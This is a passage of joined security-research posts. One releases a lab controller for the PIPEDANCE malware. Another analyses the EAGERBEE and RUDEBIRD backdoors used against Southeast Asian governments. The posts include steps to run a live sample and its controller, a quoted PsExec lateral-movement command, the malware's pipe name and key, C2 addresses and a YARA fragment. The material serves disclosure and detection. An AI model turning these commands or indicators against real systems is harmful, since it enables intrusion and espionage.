        $scan_protection = { 39 ?? 14 8B [5] 0F 84 }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

• https://github.com/elastic/labs-releases/tree/main/tools/guloader
• https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

This year at VB2023, a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE – a malware we disclosed earlier this year. In addition to the talk, we released a client application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application’s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:

• Command and control communication through named pipes
• Different styles of process injection
• Performing network connectivity checks
• System/network discovery and enumeration

Recap

PIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it’s a useful example to share for research purposes and can help defenders validate security tooling.

For a detailed analysis of the PIPEDANCE malware, check out our previous research.

Development

To get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample’s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary’s objectives behind the malware.

While we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):

• Understand how malware abuses named pipes
• Verify data sources for security tooling around network activity using named pipes
• Build a network decoder using PCAP data from PIPEDANCE’s communication requests

With the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.

Getting Started

Note: Please review the requirements before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly.

The first step is to download the PIPEDANCE sample (free registration required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client.

.\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887

Now that PIPEDANCE is running on our targeted machine, download and compile the client files within the repository. The PIPEDANCE malware uses a hard-coded string, u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe, that serves as the named pipe name and RC4 key.

Take the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be:

pipedance_client.exe 192.168.47.130

After execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.

The appendix below contains the functions and their supported arguments.

Conclusion

As part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our repository, there is also a detection section with behavioral/YARA/hunting rules.

Appendix

Handler Commands

Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.

Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.

In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.

The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting here and updated here). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).

Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.

Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth here.

Key takeaways

• Elastic Security Labs is disclosing three new malware families:
  • EAGERBEE
  • RUDEBIRD
  • DOWNTOWN
• Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns
• The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities

EAGERBEE

EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.

During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

Code analysis

EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.

Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.

After resolving all the required Windows APIs, the malware creates a mutex with the string mstoolFtip32W to prevent multiple instances of the malware from running on the same machine.

The malware gathers key information about the compromised system:

• The computer's name is obtained using the GetComputerNameW function
• The malware retrieves the Windows version by utilizing the GetVersionExW function
• A globally unique identifier (GUID) is generated through the CoCreateGuid function
• The processor architecture information is acquired using the GetNativeSystemInfo function
• The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion

The sample’s operational schedule is controlled by the string 0-5:00:23;6:00:23;. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:

• active from Sunday(0) to Friday(5)
• all hours between 00 and 23
• Saturday(6) all hours between 00 and 23

This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.

The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named c:\users\public\iconcache.mui. This file is decrypted using the first character as the decryption key.

This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure IP:PORT, where the character s is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.

The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.

A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.

In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.

When operating in active connection mode, the malware attempts to load its configuration from the file c:\users\public\iconcache.mui. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs

The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.

Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.

The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the ProxyEnable registry key within Software\Microsoft\windows\CurrentVersion\Internet Settings. If this key value is set to 1, the malware extracts the information in the ProxyServer key.

If no proxy server is set, the malware connects directly to C2.

However, if the proxy settings are defined, the malware also initializes the proxy by sending a CONNECT request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote DONNECT instead of CONNECT in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.

Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.

EAGERBEE connection to a Mongolian campaign

During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE samples involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (iconcache.mui for EAGERBEE and iconcaches.mui in the Mongolian campaign). The samples consisted of multiple files and a lure document.

While analyzing the Mongolian campaign samples, we found a previous webpage (http://president[.]mn/en/ebooksheets.php) hosted under Mongolian infrastructure serving a RAR file named 20220921_2.rar. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.

The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important topic in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.

For this infection chain, they leveraged a signed Kaspersky application in order to sideload a malicious DLL. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (www.president[.]mn/upload.php) via cURL. Persistence is configured using a Registry Run Key.

Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate. Based on string formatting and underlying behavior, this sample aligns with public reporting from AVAST related to a utility they call DataExtractor1.

While we didn’t find a WinRAR archive for the other linked sample, we found this related executable. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (https://intranet.gov[.]mn/upload.php).

While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.

EAGERBEE Summary

EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.

Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.

RUDEBIRD

Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.

Initial execution

The backdoor was executed by a file with an invalid signature, C:\Windows\help\RVTDM.exe, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.

The process was executed with the parent process (w3wp.exe) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.

Lateral movement

RUDEBIRD used PsExec (exec.exe) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.

"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE

Code analysis

RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the kernel32.dll and ntdll.dll modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.

RUDEBIRD uses a straightforward API hashing algorithm with multiplication (0x21) and addition that is publicly available from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.

After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:

• Hostname
• Computer name
• Username
• IP Address
• System architecture
• Privilege of the current user

For some functions that return larger amounts of data, the malware implements compression using RtlCompressBuffer. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:

• 45.90.58[.]103
• 185.195.237[.]123

Strangely, there are several functions throughout the program that include calls to OutputDebugStringA. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.

RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to VV.0.

After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:

• Retrieve victim’s desktop directory path
• Retrieve disk volume information
• Perform file/directory enumeration
• Perform file operations such as reading/writing file content
• Launch new processes
• File/folder operations such as creating new directories, move/copy/delete/rename files
• Beacon timeout option

DOWNTOWN (SManager/PhantomNet)